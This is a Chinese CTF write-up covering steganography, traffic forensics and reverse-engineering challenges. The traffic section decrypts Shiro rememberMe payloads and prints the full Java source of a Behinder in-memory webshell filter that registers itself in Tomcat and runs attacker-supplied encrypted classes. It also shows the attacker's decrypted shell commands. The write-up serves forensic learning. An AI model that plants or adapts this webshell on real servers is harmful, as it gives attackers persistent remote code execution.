不是,说好不给用网络搜索和 AI 的呢,合着就我们不用是吧,很多常规比赛没听过名字的院校都跑到上面去了

Misc

steganography

给了一个无后缀文件,file 认不出

丢进 010 看一眼,发现可能是 7z 魔术头,但是被篡改

手动压一个 7z 出来看看魔术头,发现前四字节被直接覆写为 FF FF FF FF,改回来

可以打开了,里面有个 layer2.png,拿出来

因为题目说跟隐写有关,所以果断掏出 zsteg,检测一下发现存在 flag.zip

提取出来

1
$ ~/bin/zsteg -E b1,rgb,lsb,xy layer2.png > flag.zip 

提取出来后发现无法打开

还是扔进 010 看一眼,发现头部被添加 0F 06 00 00 的冗余字节,导致无法识别

直接删掉,能打开了,里面有几个 zip,先解压出来

发现这几个 zip 都有加密,但是 data* 里面的 txt 文件大小都是 4Bytes,可以尝试 CRC 攻击

掏出 ZipCracker,直接用现成的

将所有内容组合起来为 pass is c1!xxtLf%fXYPkaA,拿着密码去解压 flag.zip 成功,得到 flag.txt 文件

打开发现最后列为 13,但是有 348 个字符

说明可能存在零宽隐写,但是去用零宽隐写的工具出不来

下图工具是 https://bili33.top/zerowidth ,特意做成了可以离线运行的东西 https://github.com/GamerNoTitle/ZeroWidth

尝试看看有什么字符

1
2
3
4
5
6
7
8
9
UNIQUE_CHAR = set()

with open("flag/flag.txt", "r", encoding="utf8") as f:
flag = f.read().strip()

for char in flag:
UNIQUE_CHAR.add(char)

print("Unique characters in the flag:", UNIQUE_CHAR)

发现除了常规的字符只有 \u200b\u200c,可能是 01 编码,尝试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
UNIQUE_CHAR = set()

with open("flag/flag.txt", "r", encoding="utf8") as f:
flag = f.read().strip()

for char in flag:
UNIQUE_CHAR.add(char)

print("Unique characters in the flag:", UNIQUE_CHAR)

MAPPING = {
"\u200b": 0,
"\u200c": 1,
}

for char in flag:
if char not in MAPPING: continue
print(MAPPING[char], end="")

得到 011001000110000101110010011101000111101101100010011001100011010000110001001100000011000001100100001110010010110101100011011000110011100001100100001011010011010000111000011001100011011000101101011000010011000000111001001101010010110100110101001101000110001101100010011001100110000101100100001100010011100000111001011001010011000101111101,用赛博厨子

得到 flag 为 dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}

Traffic_hunt | 赛后出

登录的 rememberMe 字段传的数据流,先提取一手 Cookie

1
$ tshark -n -r  .\traffic_hunt.pcapng -T fields -Y "tcp.stream eq 5009" -e http.cookie >> cookie.txt

发现有奇怪的 Authorization 头,尝试看看内容

发现是 Base64,直接解码

服务器上存在 shirodemo,结合前面的 rememberMe 应该是 Shiro 的反序列化漏洞

漏洞详情:https://zhuanlan.zhihu.com/p/663598887

解密 rememberMe 的工具:https://github.com/minhangxiaohui/Shiro_RememberMe_Decoder/tree/master

提取出了冰蝎的 class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;

public final class BehinderFilter extends ClassLoader implements Filter {

public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535"; // behinder 密钥
public String path = "/favicondemo.ico"; // behinder 提取路径

public BehinderFilter() {
}

public BehinderFilter(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}

public static String md5(String s) {
String ret = null;

try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}

return ret;
}

public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";

try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs); // 设置编码方式
this.response.setCharacterEncoding(this.cs); // this.cs = UTF-8
output.append(this.addFilter());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}

try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}

return true;
}

public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[]) ((Object[]) ((Object[]) obj));
this.request = (HttpServletRequest) data[0];
this.response = (HttpServletResponse) data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest) obj;

try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse) resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}

}

public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;

String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext) contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext) contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[]) null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;

Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var22) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}

Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext)));

for (int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String) findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}

String var25 = "Success";
String var26 = var25;
return var26;
} catch (Exception var23) {
var11 = var23.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}

return var11;
} else {
return "Filter already exists";
}
}

public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest) req).getSession();
Object lastRequest = req;
Object lastResponse = resp;
Method getResponse;
if (!(req instanceof RequestFacade)) {
getResponse = null;

try {
getResponse = ServletRequestWrapper.class.getMethod("getRequest");

for (lastRequest = getResponse.invoke(this.request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
}
} catch (Exception var11) {
}
}

try {
if (!(lastResponse instanceof ResponseFacade)) {
getResponse = ServletResponseWrapper.class.getMethod("getResponse");

for (lastResponse = getResponse.invoke(this.response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
}
}
} catch (Exception var10) {
}

Map obj = new HashMap();
obj.put("request", lastRequest);
obj.put("response", lastResponse);
obj.put("session", session);

try {
session.putValue("u", this.Pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var9) {
var9.printStackTrace();
}

}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}

public void init(FilterConfig filterConfig) throws ServletException {
}

public void destroy() {
}
}

他这里虽然内置了一个密钥,但是后面有一个从 header 中的 p 获取内容的过程

1
2
3
4
5
6
7
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";

找到上面的请求,发现 p 为 HWmc2TLDoihdlr0N,算一下真正的密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.math.BigInteger;
import java.security.MessageDigest;

public class getkey {
public static void main(String[] args) {
String ret = null;
String s = "HWmc2TLDoihdlr0N";
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}

System.out.println(ret); // 1f2c8075acd3d118
}
}

查看 TCP 数据包,尝试以 404225 pkt 为例

用上面找到的 key 发现可以解码

后面有一堆 /favicondemo.ico 的路径请求,已经拿到了密钥,尝试全部提取出来

做一点小清理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from tqdm import tqdm

carrige_mark = True
data = []
tmp = ""

with open("behinder.txt") as f:
with open("behinder-output.txt", "w") as output:
for line in tqdm(f.readlines()):
if carrige_mark and not line.startswith("\n"): # 开始读入数据
carrige_mark = False
tmp += line.strip()
elif not carrige_mark and line.startswith("\n"): # 结束读入数据
carrige_mark = True
if tmp:
data.append(bytes.fromhex("".join(tmp)))
tmp = ""
elif not carrige_mark and not line.startswith("\n"): # 继续读入数据
tmp += line.strip()
output.write("\n".join([x.decode() for x in data]))

然后统一解密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad

cipher = AES.new(b'1f2c8075acd3d118', AES.MODE_ECB)
count = 1

data = []


with open("behinder-output.txt") as f:
for line in f:
if (not line.startswith("\n")
and not line.startswith("POST")
and not line.startswith("Accept")
and not line.startswith("Referer")
and not line.startswith("User-Agent")
and not line.startswith("Content")
and not line.startswith("Host")
and not line.startswith("Connection")
and not line.startswith("Cookie")):
try:
data = line.strip()
raw = base64.b64decode(data)
dec = cipher.decrypt(raw)
with open(f"bout/traffic{count}.class", "wb") as out:
out.write(dec)
count += 1
except Exception as e:
print("Error processing line:", line[:100])
print(e)

with open("plaindata.txt", "w") as out:
out.write("\n".join(data))

with open("plaindata.txt") as f:
for line in f:
with open(f"bout/traffic{count}.class", "wb") as out:
try:
data = line.strip()
raw = base64.b64decode(data)
dec = cipher.decrypt(raw)
out.write(dec)
count += 1
except Exception as e:
print("Error processing line:", line[:100])
print(e)

虽然会报 Incorrect Padding 的错误,但是能出来,一共 291 个

没时间看了 lose

赛后

发现文件大小有点不一样

按顺序先看最后几个,发现有 AES KEY => IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=

往后没有 HTTP 通信,可以认为是直接冰蝎 webshell 了,往下追踪 TCP 请求

但是我个人试了 ECB 发现出不来,题目也没有给出 iv,猜测 iv = key[:16] 还是出不来,参考了一下别人的思路

Reference: https://www.iyoroy.cn/archives/260/

是 AES.GCM,了解了一下,GCM 模式下会进行这样的组合

  • 前 12 字节:Nonce,一个唯一的随机数(向量)
  • 后 16 字节:Tag,用于认证,确保数据的准确性
  • 其他:密文

所以这里要把这几个部分给拿出来,得到了这样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64
from Crypto.Cipher import AES

AES_MODE = AES.MODE_GCM

key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")
iv = key[:16]

raw = """1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4"""

data = [bytes.fromhex(_) for _ in raw.split("\n")]
for _ in data:
print(len(_))

for _ in data:
if len(_) == 4: # 认为是指令
continue
nonce = _[:12]
tag = _[-16:]
ciphertext = _[12:-16]
cipher = AES.new(key, AES_MODE, nonce)
result = cipher.decrypt_and_verify(ciphertext, tag)
print(result.decode())

出来的结果为

1
2
3
4
5
6
7
8
9
10
pwd
/var/tmp
ls
out
echo Congratulations
Congratulations
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
echo bye
bye

这里有一段 echo,直接拿出来,启动赛博厨子,自动识别是 base58 + base64

至此,得到了 flag 为 dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

Reverse

re1

用 IDA 打开给定的文件,发现里面硬编码了一个 pyc,表为 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

直接用 CyberChef 给转一下

保存 pyc 文件,用 file 看一下发现是 python 3.7

直接用 pylingual,反编译得到源码,稍微看一下并加一点注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'Payload_To_PixelCode_video.py'
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)

from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):
if not os.path.isfile(input_file):
return None
file_size = os.path.getsize(input_file)
binary_string = ''
with open(input_file, 'rb') as f:
for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'):
binary_string += ''.join((f'{byte:08b}' for byte in chunk))
xor_key = '10101010' # 异或密钥
xor_binary_string = ''
for i in range(0, len(binary_string), 8):
chunk = binary_string[i:i + 8] # 每8位为一个像素点
if len(chunk) == 8:
chunk_int = int(chunk, 2) # 转为整数
key_int = int(xor_key, 2) # 转为整数
xor_result = chunk_int ^ key_int # 进行异或运算
xor_binary_string += f'{xor_result:08b}' # 转为二进制字符串并拼接
else:
xor_binary_string += chunk
binary_string = xor_binary_string
pixels_per_image = width // pixel_size * (height // pixel_size) # 每一帧的大小
num_images = math.ceil(len(binary_string) / pixels_per_image) # 计算需要多少帧来存储所有数据
frames = []
for i in tqdm(range(num_images), desc='生成视频帧'):
start = i * pixels_per_image
bits = binary_string[start:start + pixels_per_image]
if len(bits) < pixels_per_image:
bits = bits + '0' * (pixels_per_image - len(bits))
img = Image.new('RGB', (width, height), color='white')
for r in range(height // pixel_size):
row_start = r * (width // pixel_size)
row_end = (r + 1) * (width // pixel_size)
row = bits[row_start:row_end]
for c, bit in enumerate(row):
color = (0, 0, 0) if bit == '1' else (255, 255, 255)
x1, y1 = (c * pixel_size, r * pixel_size)
img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
frames.append(np.array(img))
with imageio.get_writer(output_file, fps=fps, codec='libx264') as writer:
for frame in tqdm(frames, desc='写入视频帧'):
writer.append_data(frame)
if __name__ == '__main__':
input_path = 'payload'
if os.path.exists(input_path):
file_to_video(input_path)
else:
sys.exit(1)

对着这个编码逻辑写一个恢复脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import numpy as np
import imageio


def recover_file(
video_path: str,
output_path: str,
width: int = 640,
height: int = 480,
pixel_size: int = 8,
):
cols = width // pixel_size
rows = height // pixel_size
bits_per_frame = cols * rows

video_processor = imageio.get_reader(video_path)

metadata = video_processor.get_meta_data()
frames_per_second = metadata.get("fps", 0)
total_frames = (
int(metadata.get("duration", 0) * frames_per_second)
if frames_per_second > 0
else None
)
print(
f"Video information:{width}x{height}, {pixel_size}px/block, with {bits_per_frame} bit. Estimated {total_frames} frames."
)

bits_collected = []

for frame in video_processor: # type: ignore
if frame.shape[0] != height or frame.shape[1] != width:
return False

for r in range(rows):
for c in range(cols):
y1 = r * pixel_size # Block's top-left corner
y2 = (r + 1) * pixel_size # Block's bottom-right corner
x1 = c * pixel_size # Block's top-left corner
x2 = (c + 1) * pixel_size # Block's bottom-right corner
block = frame[y1:y2, x1:x2] # Extract the block
avg_color = np.mean(block)
bit = "1" if avg_color < 128 else "0"
bits_collected.append(bit)

full_bits = "".join(bits_collected)

xor_key = 0xAA # 0b10101010
data = bytearray()
for i in range(0, len(full_bits), 8):
byte_str = full_bits[i : i + 8]
if len(byte_str) < 8:
break
byte_val = int(byte_str, 2)
decrypted = byte_val ^ xor_key
data.append(decrypted)

with open(output_path, "wb") as f:
f.write(data)
return True


if __name__ == "__main__":
video = "video.mp4"
output = "output.bin"
if recover_file(video, output):
print("[+] Successfully recovered the file.")
else:
print("[-] Failed to recover the file.")

恢复得到 output.bin,用 file 查看发现是 ELF

1
2
$ file output.bin                                                                                                   ─╯
output.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3cb79dc409672494afd10da6d1f285238fbdaa34, for GNU/Linux 3.2.0, not stripped

仍旧 IDA 打开,看到有个好像是 md5 的东西

先把它们全部复制出来

运行一下这个程序,提示是单字符 md5

直接写脚本恢复就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib
from string import printable

HASH_MAP = {}

def get_hash_map():
global HASH_MAP
if not HASH_MAP:
for i in printable:
HASH_MAP[hashlib.md5(i.encode()).hexdigest()] = i

def get_flag():
with open("hash.txt", "r") as f:
for line in f:
hash_value = line.split(";")[1].strip().replace('"', "")
if hash_value in HASH_MAP:
print(HASH_MAP[hash_value], end='')
else:
print(f"Hash {hash_value} not found in HASH_MAP", end='')


if __name__ == "__main__":
get_hash_map()
get_flag()

运行后得到 flag

1
2
$ uv run .\getflag.py
dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

后记

这次虽然说赛事组比较傻逼,后面去验证了一下,发现上面说的不给用 AI 和网络搜索的通知是发在教师群的,学生群连个参赛手册都没有,很多人根本就不知道有这一条规定(所以还是赛事组的锅

但是这一次比赛了解到了冰蝎流量解密、Shiro 反序列化漏洞利用,还学到了新的 AES.GCM 加密方式的解密手段,还是有点收获的,虽然我们的排名很难进复赛了,那也就这样了吧,反正都看开了 =-=